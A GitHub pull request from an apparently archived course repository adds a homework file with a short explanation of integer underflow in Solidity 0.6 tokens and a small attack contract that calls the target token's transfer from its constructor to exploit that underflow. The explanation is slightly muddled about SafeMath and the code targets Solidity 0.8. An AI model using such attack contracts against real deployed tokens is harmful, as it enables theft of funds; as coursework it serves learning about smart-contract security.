Skip to content
This repository has been archived by the owner on Oct 29, 2023. It is now read-only.

Create tokenHW #18

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions session-5-assignments/tokenHW
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
// we are exploiting SafeMath for solidity 0.6. Underflows and overflows.
In solidity 0.6 SafeMath was not enabled, which means we wil be able to perform underflows and overflows without a problem.

ex: If we have a balance of zero and then we put in a value of lets say 1. (0 - 1) will underflow.



pragma solidity ^0.8.0;

interface IToken {
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address) external view returns (uint256);

}

contract tokenHack {
constructor(address _tokenContract) {
IToken(_tokenContract).transfer(msg.sender, 1);
}
}